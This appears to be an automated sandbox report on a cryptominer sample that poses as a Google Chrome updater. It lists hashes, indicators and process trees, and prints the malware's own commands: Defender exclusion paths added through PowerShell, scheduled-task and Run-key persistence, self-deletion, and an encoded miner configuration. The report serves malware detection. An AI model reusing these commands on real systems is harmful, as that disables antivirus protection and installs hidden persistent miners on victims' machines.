Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1413s -
max time network
1802s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
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Target
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1924 created 1200 1924 EtPLMpbCyFJpMJr7.exe 17 PID 1924 created 1200 1924 EtPLMpbCyFJpMJr7.exe 17 PID 1924 created 1200 1924 EtPLMpbCyFJpMJr7.exe 17 PID 1924 created 1200 1924 EtPLMpbCyFJpMJr7.exe 17 PID 2868 created 1200 2868 updater.exe 17 PID 2868 created 1200 2868 updater.exe 17 PID 2868 created 1200 2868 updater.exe 17 PID 2868 created 1200 2868 updater.exe 17 PID 1452 created 1200 1452 conhost.exe 17 PID 2868 created 1200 2868 updater.exe 17 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral11/memory/1300-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1300-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2572 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2868 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1668 taskeng.exe -
resource yara_rule behavioral11/memory/1300-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1300-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2868 set thread context of 1452 2868 updater.exe 53 PID 2868 set thread context of 1300 2868 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe EtPLMpbCyFJpMJr7.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2732 schtasks.exe 1692 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2304 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0c6d56c814eda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 1924 EtPLMpbCyFJpMJr7.exe 1924 EtPLMpbCyFJpMJr7.exe 2708 powershell.exe 1924 EtPLMpbCyFJpMJr7.exe 1924 EtPLMpbCyFJpMJr7.exe 2832 powershell.exe 1924 EtPLMpbCyFJpMJr7.exe 1924 EtPLMpbCyFJpMJr7.exe 1924 EtPLMpbCyFJpMJr7.exe 1924 EtPLMpbCyFJpMJr7.exe 2184 powershell.exe 2868 updater.exe 2868 updater.exe 1848 powershell.exe 2868 updater.exe 2868 updater.exe 976 powershell.exe 2868 updater.exe 2868 updater.exe 2868 updater.exe 2868 updater.exe 1452 conhost.exe 1452 conhost.exe 2868 updater.exe 2868 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2708 powershell.exe Token: SeDebugPrivilege 2832 powershell.exe Token: SeDebugPrivilege 2184 powershell.exe Token: SeDebugPrivilege 1848 powershell.exe Token: SeDebugPrivilege 976 powershell.exe Token: SeDebugPrivilege 2868 updater.exe Token: SeAssignPrimaryTokenPrivilege 2304 WMIC.exe Token: SeIncreaseQuotaPrivilege 2304 WMIC.exe Token: SeSecurityPrivilege 2304 WMIC.exe Token: SeTakeOwnershipPrivilege 2304 WMIC.exe Token: SeLoadDriverPrivilege 2304 WMIC.exe Token: SeSystemtimePrivilege 2304 WMIC.exe Token: SeBackupPrivilege 2304 WMIC.exe Token: SeRestorePrivilege 2304 WMIC.exe Token: SeShutdownPrivilege 2304 WMIC.exe Token: SeSystemEnvironmentPrivilege 2304 WMIC.exe Token: SeUndockPrivilege 2304 WMIC.exe Token: SeManageVolumePrivilege 2304 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2304 WMIC.exe Token: SeIncreaseQuotaPrivilege 2304 WMIC.exe Token: SeSecurityPrivilege 2304 WMIC.exe Token: SeTakeOwnershipPrivilege 2304 WMIC.exe Token: SeLoadDriverPrivilege 2304 WMIC.exe Token: SeSystemtimePrivilege 2304 WMIC.exe Token: SeBackupPrivilege 2304 WMIC.exe Token: SeRestorePrivilege 2304 WMIC.exe Token: SeShutdownPrivilege 2304 WMIC.exe Token: SeSystemEnvironmentPrivilege 2304 WMIC.exe Token: SeUndockPrivilege 2304 WMIC.exe Token: SeManageVolumePrivilege 2304 WMIC.exe Token: SeLockMemoryPrivilege 1300 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2832 wrote to memory of 2732 2832 powershell.exe 32 PID 2832 wrote to memory of 2732 2832 powershell.exe 32 PID 2832 wrote to memory of 2732 2832 powershell.exe 32 PID 2572 wrote to memory of 2640 2572 cmd.exe 35 PID 2572 wrote to memory of 2640 2572 cmd.exe 35 PID 2572 wrote to memory of 2640 2572 cmd.exe 35 PID 2184 wrote to memory of 1268 2184 powershell.exe 38 PID 2184 wrote to memory of 1268 2184 powershell.exe 38 PID 2184 wrote to memory of 1268 2184 powershell.exe 38 PID 1668 wrote to memory of 2868 1668 taskeng.exe 40 PID 1668 wrote to memory of 2868 1668 taskeng.exe 40 PID 1668 wrote to memory of 2868 1668 taskeng.exe 40 PID 976 wrote to memory of 1692 976 powershell.exe 47 PID 976 wrote to memory of 1692 976 powershell.exe 47 PID 976 wrote to memory of 1692 976 powershell.exe 47 PID 2868 wrote to memory of 1452 2868 updater.exe 53 PID 2192 wrote to memory of 2304 2192 cmd.exe 49 PID 2192 wrote to memory of 2304 2192 cmd.exe 49 PID 2192 wrote to memory of 2304 2192 cmd.exe 49 PID 2868 wrote to memory of 1300 2868 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1200
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1924
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2708
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2732
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2572
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1268
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1848
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:976 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1692
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1540
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2192
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1452
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1300
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2640
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C:\Windows\system32\taskeng.exetaskeng.exe {556AB432-3C38-4843-BB12-9E6B350426C9} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2868
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2304
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5e1bffe8092ae5d428efcb16451f0b2dc
SHA1ff4828ee6a14c9e979fc2fd728dc9fde363368c5
SHA25677e2090af0c019cdb32f100f4d2993b11f4ad86ad25f504b236b71d2301d7298
SHA512f5d31f5528d4006a711188f8416b18c5826d4998f9a459966b6276d6546f3d1ebb4c1e06b86fe39bf182a5253ea7caa8fa44e5b2833b99310543d5314303522a
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Filesize
1.3MB
MD5acd00a5752809c71b1fffa760ddf557d
SHA1b4dfff2405f3d668f36431110c646a4ddc42fdd1
SHA2560f074bf5542d8573ae436e00d0a1fb8a2856796497261715f3a4516b1ba6dfb5
SHA5120348bdb7bc478b99e042c1ad3ee553ebf916ea6eb1417af2b5f8c37501d2815e9ce8f6e7b9f12942b3649139e6af43c2a96fd3d76f8777013ebc608e2154213d
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5abf4ea1bcffc4c42141e327ffb50fbb9
SHA1ac8cbcff745c45e0a075a62f2c109550273ac8c4
SHA256497890455abedf6ed9438308c38e0c2dbdf48add03a97d0ebcd2094191e18ea5
SHA512461a9abfd6e8b03107c4c53ab29836438df455c2307be853002c77301116182bbfa61c88be967745297b8f0c45e8dcef26dd6a56e82e9932e2384b47db399560
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Filesize
1.1MB
MD5adecdaab70a27885623e9b0403f1dca7
SHA15ada1d986151fce45d33eb9b9a8d79718cbfa615
SHA2567754808c56c1731d290fc1fb377bca79662376619ecaf614becc1ad09643e139
SHA51244b2429a7d9ae7317ccc508b5c69dbef49cdfa75b31dcedcad2129b94d332748cf1ed422dff334a72b3d15f04375245d3e634369d1a2046e696585bf1ee3b5f2